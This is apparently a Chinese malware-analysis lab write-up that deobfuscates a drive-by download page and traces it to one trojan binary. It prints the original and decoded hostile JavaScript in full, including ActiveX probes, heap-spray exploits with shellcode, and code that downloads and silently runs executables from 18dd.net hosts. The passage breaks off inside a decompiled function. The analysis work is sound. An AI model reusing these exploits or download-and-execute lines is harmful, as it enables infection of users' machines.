function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

提取出四个URL:

http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab

其中最后一个最可疑,因为调用了bd.exe的参数

对4个URL进行hash,在文件夹中找到对应的文件

5d7e9058a857aa2abee820d5473c5fa4
3870c28cc279d457746b3796a262f166
5f0b8bf0385314dbe0e5ec95e6abedc2
1c1d7b3539a617517c49eee4120783b2

image-20260616210608663

5d7e线

5d7e打头的文件内容如下,其经过16进制编码。

eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")

使用工具对其进行解码

image-20260616210812258

解码后的代码如下

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

可以提取出URLhttp://down.18dd.net/bb/014.exe

对其进行hash,得到ca4e4a1730b0f69a9b94393d9443b979

ca4e线

该文件是一个二进制文件,按照要求,对其进行静态分析

image-20260616211044867

初步分析,可以看到程序内访问了许多可疑的URL,应该有下载木马等功能(详细分析见后)

image-20260616212021982

image-20260616213137212

对该文件进行hash,记录一下:1290ecd734d68d52318ea9016dc6fe63

3870线

3870打头的文件内容如下:

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))

该文件的内容显然也经过混淆

eval 替换为 console.log,在浏览器 F12 控制台中运行以查看解混淆结果。

image-20260616214254670

解混淆后的代码如下,掺杂了很多utf-16的编码

var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

试图直接解码时,发现输出一堆乱码。这是因为ASCII字符串被按字节顺序(小端序,Little-Endian)打乱存放了。

利用下面的脚本进行解密

var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");

// 1. 将 unescape 后的 UTF-16 字符串还原为原始字节数组
let bytes = new Uint8Array(shellcode.length * 2);
for (let i = 0; i < shellcode.length; i++) {
    let code = shellcode.charCodeAt(i);
    bytes[i * 2] = code & 0xFF;        // 低字节(小端序的“前半截”)
    bytes[i * 2 + 1] = (code >> 8) & 0xFF; // 高字节
}

// 2. 将字节数组按 ASCII 解码,提取连续的可打印字符串(长度大于3)
let rawAscii = new TextDecoder('ascii').decode(bytes);
let strings = rawAscii.match(/[\x20-\x7e]{4,}/g);
console.log(strings);

最终得到

[
    "cmd CCCCf",
    "/cCC",
    " Cj S",
    "\\a.e",
    "PPSVP",
    "hQ$@",
    "QRVS",
    "GetProcAddress",
    "GetSystemDirectoryA",
    "WinExec",
    "ExitThread",
    "LoadLibraryA",
    "urlmon",
    "URLDownloadToFileA",
    "http://down.18dd.net/bb/bf.exe"
]

提取出URLhttp://down.18dd.net/bb/bf.exe,计算hash得到268cbd59fbed235f6cf6b41b92b03f8e

268c线

268c文件也是一个二进制文件,对其用IDA进行反汇编进行初步分析:

image-20260616220613170

从反汇编结果看,该文件内容与前面的 ca4e 样本高度相似,因此继续计算文件哈希进行确认。

image-20260616220642035

计算结果:1290ecd734d68d52318ea9016dc6fe63

计算结果与前面的样本一致,说明该分支最终下载到的是同一个二进制程序,后续统一分析。

5f0b线

5f0b文件内容如下:

eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")

这是经过8进制编码的内容,按照同样的方法,在浏览器F12中用console.log替换eval解码

image-20260616220948382

得到如下内容:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

解码后的内容与 3870 分支相似,同样包含 shellcode,因此继续使用相同方法提取其中的可打印字符串。

var shellcode=unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");

// 1. 将 unescape 后的 UTF-16 字符串还原为原始字节数组
let bytes = new Uint8Array(shellcode.length * 2);
for (let i = 0; i < shellcode.length; i++) {
    let code = shellcode.charCodeAt(i);
    bytes[i * 2] = code & 0xFF;        // 低字节(小端序的“前半截”)
    bytes[i * 2 + 1] = (code >> 8) & 0xFF; // 高字节
}

// 2. 将字节数组按 ASCII 解码,提取连续的可打印字符串(长度大于3)
let rawAscii = new TextDecoder('ascii').decode(bytes);
let strings = rawAscii.match(/[\x20-\x7e]{4,}/g);
console.log(strings);

image-20260616221229592

解码得到URL:http://down.18dd.net/bb/pps.exe对其进行hash得到ff59b3b8961f502289c1b4df8c37e2a4

对对应的文件进行反汇编:

image-20260616221622112

从反汇编结果看,该文件也与前面的 ca4e 样本高度相似。

image-20260616221732007

计算哈希值为 1290ecd734d68d52318ea9016dc6fe63,与前面两个二进制样本一致,说明三个分支最终指向同一恶意程序。

1c1d线

1c1d文件并非一般意义上的可执行文件。

image-20260616221825029

根据文件头得知,文件属于Microsoft CAB File Format

.cab文件是Windows的压缩格式,用winrar可以打开。打开后的内容是一个名为bd.exe的文件。

image-20260616222346721

提取 bd.exe 后,先对其进行哈希计算。

image-20260616222518684

计算结果仍为同一哈希值,说明 CAB 分支最终释放的也是同一个二进制程序。

因此对 bd.exe 进行进一步静态分析。

首先查看 Strings 窗口,可以看到 AutoRun、“上网安全助手”等可疑字符串。

image-20260616224026594

sub_405C48 函数中找到了 AutoRun.inf 对应的字符串,其反汇编代码如下:

image-20260616223451675

int __thiscall sub_405C48(void *this)
{
  const CHAR *v1; // eax
  int v2; // ecx
  int v3; // ecx
  int v4; // ecx
  int v5; // ecx
  int v6; // ecx
  int v7; // ecx
  const CHAR *v8; // eax
  int v9; // ecx
